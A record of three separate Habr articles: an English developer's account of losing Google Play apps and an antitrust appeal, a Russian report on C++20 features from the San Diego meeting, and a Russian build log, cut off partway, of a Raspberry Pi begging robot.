So, can we improve the situation? I don’t think we can. Google is a commercial company and their goal is to make money. There's nothing wrong with that, of course. But it means that the company will try to reduce costs and increase profits. And try to avoid lawsuits. As a result, it is easier and cheaper for them to ban apps and developers automatically than to hire a huge number of specialists who will personally understand the nuances and view each app, especially since, most likely, a very small percentage of developers and apps give the bulk of the revenue to Google Play. I have not seen detailed statistics on this topic, but I think it is unlikely that the situation here is very different from the situation with another Google service: YouTube. According to this [study](https://dont-play-with-google.com/#/article/75) from Pex only 0.64% of videos get more than 100,000 views. And those videos generate 81.6% of all platform views. And since videos with a small number of views do not meet the criteria for enabling monetization, YouTube can remove 99% of all videos with almost no loss in profits and significantly reducing the cost of infrastructure for their storage. Moreover, at the time of writing YouTube plans to include a clause in [their rules](https://www.youtube.com/t/terms?preview=20191210%20%20%20#main) on December 10th, 2019, in which a user can be banned if he does not make a profit. "YouTube may terminate your access to or access through your Google account to all or part of the Service if it considers that providing you with access to the Service no longer makes commercial sense." I’m sure the same situation exists in Google Play. This way they can ban 99% of developers and apps and even increase profits.
And don’t even dream that the situation with technical support is better on YouTube. It’s the same story. Automatic bans, unsubscribed by bots, inability to talk to a real tech support person. Unless of course you’re one of the few who rake in significant profits for the service.
#### What can be done?
Is there any way to fix the situation? I'm not sure that's possible. Because it’s more profitable for Google to leave the situation as it is than to spend huge amounts on a solution. It seems that we developers affected by Google bots can only write articles about it over and over again, hoping that someone at Google will read and manually restore our app or account. I think you shouldn’t discount the thought that developers could unite and act as a united front to change the situation. People are wired this way. They think about such solutions when so many people face the same problem. Since I began to develop for Android, I had read articles about bans, but of course, I never thought that this would happen to me. I'm not a spammer. I don’t write viruses and in general, I am always ready to wait on Google hand and foot. And I didn’t think I would lose everything because I didn’t change one word in the name of an app, especially since the Creative Commons Attribution-ShareAlike 3.0 Unported License permits it, as far as I understand. At least I successfully uploaded two of my ten apps to the Amazon store and they didn't have any questions about them.
Here’s a list of what I think any developer should do to minimize the damage from apps and accounts getting blocked. Not to avoid the damage, but to reduce it, because no one will warn you that the Google algorithm has found a problem.
* Don’t count on the fact that upon publishing and developing the app in Google Play, you will be able to stay there safely for a long time, living on income from advertising and sales. Sooner or later, you may get banned.
* Don’t use ads from AdMob. Or use it together with other SDKs that will not stop displaying ads when you’re banned. You should be able to switch the source of advertising from the server.
* You should also plan to launch your app in places other than Google Play. You need to do this anyway if you plan to launch in places like China.
* If you offer in-app purchases, you need to use the same code in different stores. An imperfect [example](https://github.com/mohaxspb/ScpFoundationCore/blob/develop/core/src/main/java/ru/kuchanov/scpcore/monetization/util/InappPurchaseUtil.kt) can be found in the source code of my own app. Different builds for different SDK embedded payments.
* You need to create a website for your app so that you can direct the user to another store when Google bans you. There you will have to give a very long and complex instruction on how to install the app because Google strongly interferes with other stores on Android. Just think about how many problems had to be solved to uninstall the app from Google Play in the instructions [here](https://scpfoundation.app/). The Google Play app directly prohibits uninstalling it, which kills all competition.
* You need to build an in-app notification system in case of a ban. For example, you could use push notifications. I did that, but it didn’t work perfectly. After the ban, users with Android version 7 and above did not receive notifications. Keep this code up to date. And pray that Google doesn’t start to ban projects in Firebase, because alternative ways to send push notifications were actually squeezed out of the market after Google banned background processes in Android version 8 and above. They only allow push notifications in Firebase.
* Never post apps that you’re not going to use for earning money. This mainly applies to beginners as you risk getting banned even for an unpublished app project. Don’t risk it.
* Do not expect that the use of content under a free license will protect you. Google may still require you to confirm your rights to use the content. And you may have no one to get this confirmation from.
* If you’re an EU citizen, you can hope that the legislators will bring order to the market. [Here is](https://venturebeat.com/2019/04/17/european-parliament-passes-online-platform-rules-placing-new-limits-on-amazon-and-google/) a draft law obliging sites to provide comprehensive information in case of a ban.
Also, I would add to this list my thoughts on how the situation could be improved by creating competition. A while back Google was obliged to provide a choice of search engine at the first Android launch. It would be logical to oblige Google to also offer a choice of app store. Competition could emerge this way and, perhaps, Google would start to provide technical support on the phone (like in Russia, where Google has a strong competitor, Yandex) and stop automatic bans and let bots only be used for giving advice to moderators. Many problems could also be solved by changing the practice of banning without warning, so that the developer has the opportunity to fix something. Sometimes it is enough to change one word in the title to stay in good standing with the Google Play moderation system.
I don’t really believe I can do anything alone to improve the situation, but I won’t forgive myself if I didn’t try something, such as writing this article. Not expecting much, I sent an appeal to the FAS, the Russian Federal Antimonopoly Service. Please note, I am not a lawyer or a writer. I'm a programmer. So my application must be rather informal and generally naive, because it seems only the state can protect developers from Google.
**Statement of violation of the Antimonopoly legislation of the Russian Federation.**From Surname Name Patronymic, living at the address City, street Street, h. HOUSE, b. BUILDING, apt. APARTMENT.
Antitrust infringing company: "Google LLC", address: 1600 Amphitheatre Parkway, Mountain View, CA 94043, USA.
Google violates the Federal law "on protection of competition" of 26.07.2006 N 135-FZ. Articles 10.1 and 14.1 are violated.
The violation of article 10.1 (Prohibition on abuse of dominant position by an economic entity) is the failure to provide a choice of an app store for the Android platform when the device was first launched on this platform, as well as the non-admission of other app stores in the Google app store (Google Play app).
Violation of article 14.1 (Prohibition of unfair competition by discrediting) is the need on some versions of the Android operating system to disable Play Protection — a feature of the Google Play app store, which prohibits the installation of apps not from the "Google Play" store, allegedly because they are unsafe. Thus, Google misleads the consumer by pointing out the" insecurity" of apps from other app stores.
According to the above mentioned, I ask you to oblige Google to provide when you first run the device on Android, the choice of app store (as it is now provided for search engines) and not to prevent the installation of apps from other app stores using the "Play Protection."
In addition, it is necessary to prohibit the blocking of apps and developer accounts without prior notice of violations of any rules of the app store and the ability to correct these violations. Such warnings should be accompanied by comprehensive and unambiguous information about the problem and ways to a solution. At the present time the Google Play app store has a "presumption of guilt" of the developer, obliging them to prove their innocence in cases of blocking their account and/or app.
At the moment the situation of monopolization of the Android apps market prevents building a digital economy in Russia by means of unfair competition in this market, and also by the ability to block all apps and developer accounts without explanation and prior notice. As a result, the market cannot form competition and small and medium-sized businesses can not develop steadily in the market of Android apps due to the possibility of losing their income by being blocked without warning or explanation from the Google Play store, which occupies a dominant position in the Android app market.
If you are also not satisfied with the current situation, please do the same. I am sure that things will improve if the app market on Android gets healthy competition between stores.
#### Appeal to Google.
And finally, I would like to try to reach out to Google (in case someone from the company reads this article) and ask them to do something. For example:
* Restore all the apps deleted in March 2019 (approximately 25-26) for all developers (including mine, with packages `ru.dante.scpfoundation` and `ru.dante.scpfoundation.eng` ) which had `SCP Foundation` in the name, because the use of the name and logo does not violate the terms of the Creative Commons Attribution-ShareAlike 3.0 License (<http://creativecommons.org/licenses/by-sa/3.0/>), and the site administration (<http://www.scp-wiki.net/>) and (<http://scpwiki.org>) from which there was a redirect not working at the time of writing and has no mail server to send a letter with permission to use what is already allowed. License information is available on all pages of this site, as well as all other affiliated sites with translations into other languages. The license is listed in the bottom of the site. Here's my appeal number for both apps: 3-7609000025842
* Restore all developer accounts which, like my mine, were blocked as a result of blocking the apps that have `SCP Foundation ' in the name, because this is not a violation.
* Allow developers to change the names of apps if Google believes that they are violating something, instead of banning apps and accounts immediately and without warning.
* Stop automatic app bans, give at least a couple of days to make simple changes to correct violations, if any. As I’ve said, in my case it was enough to remove one word from the title.
* Add the ability to specify the rights to the content, name and logo of apps when they are published, instead of subsequent checks by an unknown algorithm. Consider the rights granted by free licenses, including, for example, the [Creative Commons Attribution-ShareAlike 3.0 License](http://creativecommons.org/licenses/by-sa/3.0/)
* Provide better technical support. If the developer needs to make an additional monthly or annual payment, instead of $25 for creating an account, this is a small price for peace of mind and reliability.
I would be very happy if Google restored my apps and account, because I’ve invested a lot of work in them for more than five years. I hope at least someone will hear me. I hope that one day Google will be able to configure the moderation system so that developers will be safe from the situation when one day they find that themselves thrown out of the market by some program by a ridiculous mistake. | https://habr.com/ru/post/479336/ | null | en | null |
# C++20 и Modules, Networking, Coroutines, Ranges, Graphics. Итоги встречи в Сан-Диего
До C++20 осталась пара лет, а значит, не за горами feature freeze. В скором времени международный комитет сосредоточится на причёсывании черновика C++20, а нововведения будут добавляться уже в C++23.
Ноябрьская встреча в Сан-Диего — предпоследняя перед feature freeze. Какие новинки появятся в C++20, что из крупных вещей приняли, а что отклонили — всё это ждёт вас под катом.
char8\_t
--------
Добавили новый тип данных *char8\_t*. Массив этих символов представляет собой UTF-8 строку:
```
std::u8string hello = u8"Привет, мир!";
// TODO: Вывести значение пока нельзя!
//std::cout << hello;
```
На первый взгляд кажется, что нововведение незначительное. Но это не так.
char8\_t — первый шаг к тому, чтобы стандартная библиотека C++ из коробки поддерживала UTF-8. Впереди ещё много работы, к C++20 она явно не завершится.
Однако уже теперь char8\_t многим превосходит char/unsigned char. Программы, использующие char8\_t, могут работать быстрее за счёт того, что char8\_t [не алиасится](https://en.wikipedia.org/wiki/Aliasing_(computing)) с другими типами данных. Иными словами, модификация строки или любой переменной не приведёт к тому, что значения переменных будут перечитываться из памяти:
```
bool do_something(std::u8string_view data, int& result) {
result += data[0] - u8'0'; // переменная result изменилась
return data[0] != u8'0'; // будет использовано значение из регистра для data[0]
}
```
Если бы мы в примере взяли char (std::string\_view), то получили бы код, [в котором несколько раз обращаемся к BYTE PTR [rsi]](https://gcc.godbolt.org/z/pN4-n5). В случае char8\_t [это не происходит](https://gcc.godbolt.org/z/uw3Kg7).
Учтите, что теперь u8«hello» — это массив chat8\_t, а не массив char. Данное изменение в стандарте ломает обратную совместимость с C++11/14/17! Полный список изменений связанных с char8\_t доступен в документе [P0482](https://wg21.link/p0482). В этом же документе есть список примеров, когда валидный до C++20 код становится невалидным из-за char8\_t.
constexpr
---------
К C++20 многие (и я в их числе) хотят увидеть в стандарте контейнеры, которыми можно пользоваться на этапе компиляции. Это позволит делать меньше вычислений на runtime, а значит, при работе приложения будет тратиться меньше процессорного времени. При этом, зачастую, вам не придётся ничего менять в исходниках — всё просто начнёт работать быстрее, инициализироваться на этапе компиляции, лучше оптимизироваться компилятором…
В Сан-Диего сильно расширили возможности компилятора и стандартной библиотеки по вычислению выражений на этапе компиляции:
* try и catch теперь можно писать в constexpr функциях ([P1002](https://wg21.link/P1002)).
* dynamic\_cast и typeid можно вызывать в constexpr ([P1327](https://wg21.link/P1327)).
* Добавили consteval-функции (бывшие constexpr!) — функции, которые можно вычислять только в constexpr контексте ([P1073](https://wg21.link/P1073)).
* Добавили функцию *std::is\_constant\_evaluated()*, возвращающую true, если в данный момент функция вычисляется на этапе компиляции [P0595](https://wg21.link/P0595). Старайтесь без крайней надобности не пользоваться std::is\_constant\_evaluated(): [она очень своеобразна](https://godbolt.org/z/lqt1Cj).
* Менять активное поле union теперь так-же можно при constexpr вычислениях ([P1330](https://wg21.link/P1330)).
* Невообразимое множество классов и функций стандартной библиотеки теперь помечены как constexpr. Они смогут вычисляться на этапе компиляции ([P1032](https://wg21.link/P1032), [P1006](https://wg21.link/P1006)).
На следующем заседании, которое пройдёт в США 18–23 февраля 2019 года, планируется добавить контейнерам std::string, std::vector (и возможно std::map) возможность работать на этапе компиляции.
Все добавления и правки жизненно важны для готовящейся к C++23/26 рефлексии.
Прочие мелочи
-------------
### Гетерогенные поиски в unordered контейнерах
Начиная с C++20 можно будет дополнительно настраивать unordered контейнеры и обязывать их не конструировать временные объекты при операциях поиска:
```
struct string_hash {
// Без следующей строчки будут создаваться временные объекты!
using transparent_key_equal = std::equal_to<>;
size_t operator()(std::string_view txt) const { return std::hash{}(txt); }
};
using unordered\_set\_string = std::unordered\_set >;
template
using unordered\_map\_string
= std::unordered\_map >;
// ...
unordered\_map\_string map = { /\* ... \*/};
assert(map.contains("This does not create a temporary std::string object :-)"));
```
Вещь весьма полезная, детали можно найти в документе [P0919](https://wg21.link/P0919).
### std::bind\_front
Уже давно считается, что std::bind — достаточно опасная вещь, из-за которой легко пораниться. Поэтому в C++20 добавили более простую функцию *std::bind\_front*.
Она не поддерживает placeholders, правильно работает с ref-qualifiers и компилируется немного быстрее. Пользоваться ей можно будет приблизительно вот так:
```
int foo(int arg1, std::string arg2, std::vector&&, std::string\_view);
// ...
auto bound = std::bind\_front(foo, 42, "hello");
// ..
int result = bound(std::vector{42, 314, 15}, "word");
```
Всеобъемлющее описание есть в документе [P0356](https://wg21.link/P0356).
### std::assume\_aligned
Ура, теперь можно подсказывать компилятору, что данные у нас выравнены:
```
void add(span x, float addition) {
const auto size = x.size();
float\* ax = std::assume\_aligned<64>(x.data());
for (int i = 0; i < size; ++i)
ax[i] += factor;
}
```
Это поможет компилятору автоматически векторизовать циклы и генерировать более производительный код. Дополнительные примеры можно найти в документе [P1007](https://wg21.link/P1007).
### void foo(const Concept auto& value)
В [P1141](https://wg21.link/P1141) приняли сокращённый синтаксис для записи шаблонных функций и классов, аргументы которых должны соответствовать концепту. Например, *void sort(Sortable auto& c);* значит, что sort — это **шаблонная** функция, и что тип переменной `c` соответствует концепту Sortable.
### Микро-оптимизации
Классы std::optional и std::variant теперь обязаны иметь тривиальные деструкторы, copy/move конструкторы и copy/move операторы присваивания, если шаблонные параметры классов обладают свойствами тривиальности. Это немного поможет компилятору и стандартной библиотеке генерировать более производительный и компактный код ([P0602](https://wg21.link/P0602)).
Move-конструктор std::function теперь обязан быть noexcept. Если у вас есть std::vector и конструкторы std::function раньше не были noexcept, то работа с таким вектором станет в несколько раз производительнее ([P0771](https://wg21.link/P0771)).
Если вы имели дело с большими массивами чисел и иcпользовали make\_unique/make\_shared, то иногда производительность слегка проседала за счёт того, что каждый элемент массива инициализировался нулём. Некоторые специально писали *new T[x]*, чтобы не инициализировать каждое значение. Так вот, в C++20 добавили *std::make\_unique\_default\_init* и *std::make\_shared\_default\_init*. Эти две функции приехали из Boost и они не делают лишней инициализации ([P1020](https://wg21.link/P1020)).
Ещё добавили *\*\_pointer\_cast* функции, принимающие rvalue. Это помогает избегать лишних инкрементов и декрементов атомарного счётчика при работе с std::shared\_ptr ([P1224](https://wg21.link/P1224)).
### Исправления
В великолепном документе [P0608](https://wg21.link/P0608) убрали боль при использовании std::variant:
```
std::variant x = "abc"; // Ой! До C++20 `x` содержит `true`
```
Ещё один великолепный документ [P0487](https://wg21.link/P0487) того же автора избавляет от граблей, на которые очень многие наступали:
```
char buffer[64];
std::cin >> buffer; // Теперь гарантированно не переполняется
char* p = get_some_ptr();
std::cin >> p; // Теперь просто не компилируется
```
Наконец, решили, что в контрактах автор класса имеет право использовать приватные члены класса в условиях контракта ([P1289](https://wg21.link/P1289)):
```
struct int_reference {
// ...
int get() const [[expects: ptr_ != nullptr ]] { return *ptr_; }
private:
int* ptr_;
};
```
Networking
----------
Итак, приступим к крупным нововведениям. И начнём с плохого: в C++20 нам **не** видать работы с сетью из коробки. Отложили на неопределённый срок.
Modules
-------
К хорошим новостям — подгруппа EWG одобрила дизайн модулей, так что есть все шансы увидеть их в C++20. Финальная битва за модули предстоит на следующем заседании.
**О скорости сборки и модулях**Учтите, что из коробки модули не дадут вам большой прирост скорости сборки.
Ближайшие года уйдут у разработчиков языка C++ на оптимизации компиляторов для работы с модулями и на оптимизацию представления модуля.
Так же, стоит заметить, что для идеальной скорости сборки скорее всего понадобится дорабатывать вашу кодовую базу и размечать ~~публичные и приватные интерфейсы~~ экспорты модуля.
Ranges
------
Ranges в C++20 приняли. На голосовании в последний день авторы предложения [P0896](https://wg21.link/P0896) сорвали долгие овации. Весь зал аплодировал стоя. Начало оваций даже успели сфотографировать, счастливый автор предложения — в шапке этого поста.
Вот пара примеров того, что можно делать с ranges:
```
#include
std::ranges::sort(some\_vector);
std::ranges::find(email.c\_str(), std::unreachable\_sentinel, '@');
std::ranges::fill(std::counted\_iterator(char\_ptr, 42), std::default\_sentinel, '!');
```
Coroutines
----------
Возвращаемся к тому, что не приняли. Coroutines не вошли в стандарт на голосовании. Возможно, это случится на следующем заседании, но шансов маловато.
**Немного инсайда**Разработчк Boost.Beast твёрдо решил взяться за альтернативное предложение по сопрограммам. Они будут похожи на обычные функции, их размер будет известен на этапе компиляции, они не будут динамически аллоцировать память… но будут требовать, чтобы всё тело resumable функции было видно в месте использования корутины.
Хорошо это или плохо, подоспеет ли прототип к следующему заседанию — это открытые вопросы.
2D Graphics
-----------
Предложение о двухмерной графике воскресили, над ним продолжают работать. Автор планирует закинуть прототип в общедоступное место (например, в Boost), обкатать, собрать отзывы экспертов по 2D графике из другого комитета по стандартизации.
Заслуги РГ21
------------
На заседании мы в основном дотаскивали stacktrace (который мы в Яндекс.Такси очень любим) до стандарта C++. Сейчас черновик документа выглядит [вот так](https://apolukhin.github.io/papers/d0881r3.html). Надеюсь, что осталось совсем чуть-чуть, и к C++20 успеем.
**Сложности**Оказалось, весьма сложно описать стектрейс в терминах абстрактной машины (в этих терминах описан весь язык C++ в стандарте), учитывая, что в абстрактной машине нет стека, и функции могут располагаться в отдельной памяти, из-за чего и *void\** не может представлять адрес вызова, и имён файла, где описана функция, может быть несколько больше, чем 1, и компилятор может просто сгенерировать вспомогательную функцию, которая в файле нигде не фигурирует, и так далее.
Ещё мы пытались привнести в стандарт плагины (динамическую загрузку библиотек, [идея с stdcpp.ru](https://stdcpp.ru/proposals/b061944a-dc76-431d-ac57-5832978d63aa)). Тут нас ждал провал — предложение отклонили. Учтём ошибки и попробуем позже.
Наше старое предложение добавить [атрибут [[visible]] для упрощения создания динамических библиотек](https://stdcpp.ru/proposals/feb5244f-f6a9-4cc0-ae30-f6b549d2d6c9), внезапно подхватил другой разработчик в документе [P1283](https://wg21.link/P1283). Всячески поддерживали документ на голосованиях, первую подгруппу прошли, надеемся на успех.
Идею упростить работу с std::variant, а именно [«Добавить операторы сравнения std::variant с его элементами»](https://stdcpp.ru/proposals/c73a20b1-073e-463f-9f4e-c959de1ed072), так же отклонили. Основные возражения — пока боязно менять std::variant, учитывая его проблемы с конструкторами (хотя после [P0608](https://wg21.link/P0608)) они исчезнут. Попробуем ещё раз.
С конкурентным unordered map ([P0652](https://wg21.link/P0652)) наоборот, всё было достаточно гладко: нам порекомендовали проверить пару альтернативных интерфейсов и сказали, что предложение почти готово для принятия в Concurrent Data Structures TS (правда, он пока только планируется).
В подгруппе SG6 Numerics мы прошлись по большинству имеющихся идей, предложили и немного обсудили механизм взаимодействия различных классов чисел ([P0880](https://wg21.link/P0880)). Ждём, когда начнут создавать Numbers TS, куда должны попасть все новые и вкусные классы чисел.
В подгруппе по ядру языка мы презентовали идеи о [«Беспредельном copy elision»](https://stdcpp.ru/proposals/e6263404-2b60-49af-87c6-bd9bc1801257), а именно [P0889](https://wg21.link/P0889). Люди очень хотят нечто подобное, но не в том виде, что было изложено. Нас отправили напрямую к разработчикам компиляторов за консультацией.
Ну и, как упоминалось выше, нашу бумагу [Misc constexpr bits P1032](https://wg21.link/P1032), приняли в C++20. Теперь можно будет использовать на этапе компиляции array, tuple, pair, всё что нужно для копировании std::string, back\_insert\_iterator, front\_insert\_iterator, insert\_iterator.
Вместо итогов
-------------
C++20 обещает быть весьма занятным: Concepts, Contracts, Ranges, Modules, работа с временными зонами и множество constexpr нововведений.
В скором времени [мы, Рабочая Группа 21,](https://stdcpp.ru/about) отправим комментарии к черновику стандарта C++20. Поэтому, если у вас есть какая-то боль, или вы не согласны с каким-то нововведением, пожалуйста, оставляйте свои мысли [на этой странице](https://stdcpp.ru/proposals/e9e9e9f8-8844-4f46-91ff-e517c2b1d66e).
Также приглашаем вас на наши ближайшие встречи по C++: [Открытая встреча РГ21](https://events.yandex.ru/events/cpp-party/04-dec-2018/) в Москве и Санкт-Петербурге и [C++ Siberia 2019](http://cpp-russia.ru/?page_id=1510) в Новосибирске. | https://habr.com/ru/post/430406/ | null | ru | null |
# Робот-попрошайка на ROS и нейросетках
Обычно к таким поделкам возникает два вопроса: «как?» и «для чего?» Первому вопросу посвящена сама публикация, а на второй я отвечу сразу:
Этот проект я затеял для того, чтобы освоить робототехнику, начиная с Raspberry Pi и камеры. Как известно, один из лучших способов чему-нибудь научиться — это придумать себе техзадание и попытаться его выполнить, по ходу получая необходимые навыки.
На тот момент у меня еще не было светлых идей в области робототехники, поэтому я решил сделать исключительно фановый проект — робота-попрошайку. В итоге получился автономный робот на Raspberry Pi и ROS, использующий Movidius Neural Cumpute Stick для обнаружения лиц. Он бродит по помещению, ищет людей, и трясет перед ними банкой. Вот как выглядит этот робот:
Робот случайным образом двигается по помещению, а если замечает человека — подкатывает к нему и трясет банкой для мелочи. Смеха ради я добавил ему немного мимики — он умеет двигать бровями:
После первой попытки робот пытается снова найти лицо в поле зрения, поворачивается к человеку и трясет банкой еще раз. А вот что случится, если в этот момент уйти:
### Робот
Идею робота-попрошайки я взял из [журнала «Популярная Механика»](https://www.popmech.ru/design/11219-temnye-strasti-krisa-ekerta-religiya/). Прообраз за авторством Криса Экерта под названием Gimme выглядит весьма эстетично.
Я же больше хотел сконцентрироваться на функциональности, поэтому корпус был собран из подручных материалов. В частности, ПВХ уголки показали себя наиболее универсальным материалом, с помощью которого можно соединить практически любые две детали. Кажется, что на текущий момент робот процентов на пять состоит из ПВХ уголков и винтов М3. Сам корпус представляет собой три платформы из ламината, на которые монтируется голова и вся электроника.
Основой робота является [Raspberry Pi 2B](https://www.raspberrypi.org/products/raspberry-pi-2-model-b/), а код написан на C++ и лежит на [GitHub](https://github.com/BeloborodovDS/BeggarBot).
### Зрение
Для восприятия реальности робот использует камеру [Paspberry Pi Camera Module v2](https://www.raspberrypi.org/documentation/hardware/camera/), которой можно управлять с помощью библиотеки [RaspiCam](http://www.uco.es/investiga/grupos/ava/node/40).
Для обнаружения лиц я попробовал несколько разных подходов. Качество классических детекторов из OpenCV меня не удовлетворило, поэтому в итоге я пришел к довольно нестандартному решению. Детекцией лиц занимается нейронная сеть, работающая на устройстве [Movidius Neural Compute Stick (NCS)](https://software.intel.com/en-us/articles/intel-movidius-neural-compute-stick) под управлением фреймворка [OpenVINO](https://docs.openvinotoolkit.org/latest/_docs_install_guides_installing_openvino_raspbian.html).
NCS — это такая железка для эффективного запуска нейронных сетей, внутри которой находятся несколько векторных процессоров, специально заточенных под это. Устройство подключается по USB и потребляет всего 1 Ватт мощности. Таким образом, NCS выступает в роли со-процессора для Raspberry Pi, которая нейросети не тянет. Пока NCS обрабатывает очередной кадр, процессор Paspberry свободен для других операций. Стоит заметить, что для оптимальной работы устройства требуется интерфейс USB версии 3.0, которого на старых версиях Raspberry нет; с USB 2.0 тоже работает, просто медленнее. Также, чтобы не загораживать USB-разъемы Raspberry, я подключаю к ней NCS через короткий USB-кабель. Я подробно писал о работе с Neural Compute Stick [в своей предыдущей статье](https://habr.com/ru/post/436744/).
Сначала я пробовал обучить [свой детектор лиц с архитектурой MobileNet + SSD](https://habr.com/ru/post/424973/) на открытых датасетах. Детектор действительно работал, но не очень устойчиво: при неизбежном ухудшении условий съемки (засветка и смазанные кадры) качество детектора сильно проседало. Однако спустя некоторое время в OpenVINO появились готовые детекторы лиц, я и переключился на детектор с архитектурой [SqueezeNet light + SSD](https://docs.openvinotoolkit.org/latest/_models_intel_face_detection_retail_0004_description_face_detection_retail_0004.html), который не только лучше работал в самых разных условиях съемки, но и был быстрее.
Перед тем, как загружать изображение на NCS для получения предсказаний детектора, изображение нужно предобработать. Выбранный мной детектор работает с цветными изображениями , поэтому изображение нужно сначала сжать. Для этого я использую самый легковесный алгоритм масштабирования — методом ближайшего соседа (INTER\_NEAREST в библиотеке OpenCV). Работает чуточку быстрее, чем методы интерполяции, а на результат почти не влияет. Также стоит обратить внимание на порядок каналов изображения: детектор ожидает порядок BGR, поэтому такой же нужно выставить у камеры.
Еще я пробовал разделять обработку видео на два потока, один из которых получал с камеры очередной кадр и обрабатывал его, а другой в это время загружал предыдущий кадр на NCS и ждал результатов детектора. При такой схеме, технически, скорость обработки увеличивается, но также увеличивается задержка между получением кадра и получением детекций для него. Из-за этого отставания от реальности следить за лицом становится только сложнее, поэтому в итоге от этой схемы я отказался.
Помимо собственно обнаружения лиц, их нужно еще отслеживать, чтобы избежать ошибок детектора. Для этого я использую легковесный трекер [Simple Online Realtime Tracker (SORT)](https://github.com/BeloborodovDS/sort-cpp). Этот простой трекер состоит из двух частей: для сопоставления объектов на соседних кадрах применяется [Венгерский алгоритм](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BD%D0%B3%D0%B5%D1%80%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC), а для предсказания траектории объекта, если он внезапно пропадает — [фильтр Калмана](https://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80_%D0%9A%D0%B0%D0%BB%D0%BC%D0%B0%D0%BD%D0%B0). Пока я игрался с отслеживанием лиц, я обнаружил, что траектории, предсказанные фильтром Калмана, могут быть очень неправдоподобными при резких движениях, что опять же только усложняет процесс.
Поэтому фильтр Калмана я отключил, оставив только алгоритм сопоставления лиц и счетчик последовательного числа кадров, на которых было обнаружено лицо — так удается избавиться от ложных срабатываний детектора.
*Верхняя платформа, слева направо: камера, сервоприводы для управления головой и бровями, выключатель, клеммы питания, Большая Красная Кнопка.*
### Движение
Для движения у робота есть пять сервоприводов: две сервы непрерывного вращения FS5103R крутят колеса; есть еще две обычных FS5109M, одна из которых вращает головy, а вторая трясет банкой; наконец, маленькая SG90 двигает бровями.
Если честно, мини-сервы SG90 показались мне хламом — у одной из моих серв была неправильная ширина управляющего пульса, а среди остальных четырех выжила только одна. Справедливости ради, одну из серв я случайно снес локтем, но остальные две просто не выдержали нагрузки (раньше я их использовал для головы и банки). Даже ту последнюю серву, которой досталась самая простая работа — двигать бровями, приходится время от времени тыкать палкой, чтобы ее не клинило. С другими сервоприводами я проблем не заметил. Правда, сервоприводы непрерывного вращения иногда приходится калибровать, чтобы в неактивном состоянии они не крутились — для этого на них есть маленький регулятор, который можно крутить часовой отверткой.
Управлять сервоприводами с Raspberry, оказывается, не так просто. Во-первых, они управляются при помощи [широтно-импульсной модулиции (ШИМ / PWM)](https://ru.wikipedia.org/wiki/%D0%A8%D0%B8%D1%80%D0%BE%D1%82%D0%BD%D0%BE-%D0%B8%D0%BC%D0%BF%D1%83%D0%BB%D1%8C%D1%81%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F%D1%86%D0%B8%D1%8F), а на Raspberry всего два пина, на которых [ШИМ поддерживается аппаратно](https://www.raspberrypi.org/forums/viewtopic.php?t=150254). Во-вторых, конечно, от Raspberry не получится запитать сервоприводы, она этого не выдержит. К счастью, эти проблемы решаются с помощью внешнего ШИМ-контроллера.
[Adafruit PCA9685](https://www.adafruit.com/product/815) — это 16-канальный ШИМ-контроллер, которым можно управлять по интерфейсу [I2C](https://ru.wikipedia.org/wiki/I%C2%B2C). Также очень удобно, что на нем есть клеммы для подвода питания для сервоприводов. Мало того, [теоретически] можно соединить в цепочку до 62 контроллеров, получив при этом до 992 управляющих пинов — для этого нужно каждому контроллеру назначить уникальный адрес при помощи специальных перемычек. Так что если вам вдруг понадобится армия сервоприводов — вы знаете, что делать.
Для управления PCA9685 есть высокоуровневая [библиотека](https://github.com/Reinbert/pca9685), работающая как расширение [WiringPi](http://wiringpi.com/). Работать с этой штукой довольно удобно — при инициализации она создает 16 виртуальных пинов, в которые можно записать ШИМ-сигнал, но сначала придется рассчитать число тиков. Чтобы повернуть рычаг сервопривода до определенного угла в диапазоне [0, 180], нужно сначала перевести этот угол в диапазон длин управляющего пульса в миллисекундах [SERVO\_MS\_MIN, SERVO\_MS\_MAX]. Для всех моих серв эти значения примерно равны 0.6 мс и 2.4 мс соответственно. Вообще эти значения можно найти в даташите сервопривода, но практика показала, что они могут отличаться, поэтому их, возможно, придется подбирать. Затем полученное значение делим на 20 мс (стандартное значение длины управляющего цикла) и умножаем на максимальное число тиков PCA9685 (4096):
```
void driveDegs(float angle, int pin) {
int ticks = (int) (PCA_MAX_PWM * (angle/180.0f*(SERVO_MS_MAX-SERVO_MS_MIN) + SERVO_MS_MIN) / 20.0f);
pwmWrite(pin, ticks);
}
```
Аналогично это делается с сервами непрерывного вращения — вместо угла задаем скорость в диапазоне [-1,1].
Шасси робота, как и корпус, я собирал из подручных средств: на сервоприводы непрерывного вращения поставил мебельные колеса, а в качестве третьего колеса выступает мебельная шаровая опора. Раньше вместо нее стояло колесо на вращающейся опоре, но с таким шасси было сложно делать точные повороты, поэтому пришлось заменить. Под банкой тоже стоит маленькое колесико, чтобы перенести часть веса с сервопривода на корпус. Простая вещь, которая для меня не была очевидной изначально — рычаги сервоприводов нужно обязательно закреплять винтом, особенно для колес, чтобы они не отваливались по пути. Из-за такой глупости пришлось один раз переделать шасси. Также я сделал роботу широкий бампер из ПВХ уголков, чтобы он не так часто застревал.
Теперь о том, что можно с этим делать. Во-первых, можно трясти банкой и двигать бровями — для этого нужно просто поворачивать рычаг сервопривода на заранее подобранные углы.
Во-вторых, можно вращать головой. Я не хотел, чтобы голова крутилась с максимальной скоростью вращения сервопривода, потому что на ней стоит камера. Поэтому я решил программно снизить скорость: нужно повернуть рычаг на маленький угол, затем подождать несколько миллисекунд — и так пока желаемый угол не будет достигнут. При этом нужно запоминать текущее абсолютное положение головы и каждый раз проверять, не вышла ли она за допустимые границы (на моем роботе это в диапазоне [10, 90] градусов).
В-третьих, можно менять направление движения, меняя скорость вращения колес. Таким же образом можно вращать платформу, например, чтобы следить за лицом. Угловая скорость вращения зависит как от самих сервоприводов, так и от их расположения на шасси, поэтому ее проще измерить один раз и потом учитывать при поворотах. Чтобы найти необходимую задержку между включением моторов для вращения и их выключением, нужно модуль угла поделить на угловую скорость.
Наконец, вращать голову и шасси можно одновременно и асинхронно, чтобы не тратить время. Я это делаю вот так:
```
auto waitRotation = std::async(std::launch::async, rotatePlatform, platformAngle);
success = driveHead(headAngle);
waitRotation.wait();
```
